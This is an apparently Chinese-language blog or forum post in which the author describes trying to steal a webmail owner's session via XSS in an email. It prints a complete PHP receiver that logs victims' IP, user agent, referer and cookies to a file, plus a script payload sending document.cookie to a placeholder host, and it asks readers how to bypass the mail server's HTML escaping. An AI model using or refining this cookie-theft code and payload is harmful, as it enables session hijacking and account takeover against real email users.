如何实现发送一封包含script脚本的邮件,并由它获取邮箱主人的Session

    技术2022-05-20  30

    如题,最近在研究 Xss 攻击,然后突然想到这个问题 “如何实现发送一封包含script脚本的邮件,并由它获取邮箱主人的Session ”。如果真的能做到这点,那必将在互联网刮起一场安全风暴。

    有了想法就很想去实践一下 ,这就是计算机人员的好奇心在作怪

     

    1.尝试网页邮箱

    * 先在本机编写一个小php (vole.php )文件来接受发送过来Session等信息,并保存在文件中

    <?php $ip = $_SERVER['REMOTE_ADDR']; $referer = $_SERVER['HTTP_REFERER']; $agent = $_SERVER['HTTP_USER_AGENT']; $data = $_GET["val"]; $time = date("Y-m-d G:i:s A"); $text = "<html> <body> <p>".$time." </p> // La date <p> ".$ip."</p> // Ip d'utilisateur <p> User Agent: ".$agent."</p> // Le type de navigateur <p> Referer: ".$referer."</p> // url <p> Session: ".$data."</p> // cookie <p>======================</p> </br></body></html>"; $file = fopen('cinfos.html' , 'a'); // enregistrer ces infos dans un fichier fwrite($file,$text); fclose($file); ?>

    *准备工作完成后给某个邮箱发送包含script的邮件

    邮件内容如下:

    <script>document.location = “http://X.X.X.X/vole.php?val=”+document.cookie;</script>

    /*四个X为自己主机IP地址*/

    *然后用浏览器查看这封邮件,看看浏览器会不会加载这份邮件中的script.

    结果也失败告终,查看页面源代码发现 < 和 > 这两个字符被邮箱服务器换成了 < et > ,HTML的转义符

    曾试着找其他技术避免被替换却未果,如果有牛人知道解决方法,小弟立即跪求方法

     

     

     

    2.尝试桌面邮箱软件

    结果还是以失败告终

     

     

     

    小弟发表此文希望能得到牛人们的指点,先谢过了

     

     


    最新回复(0)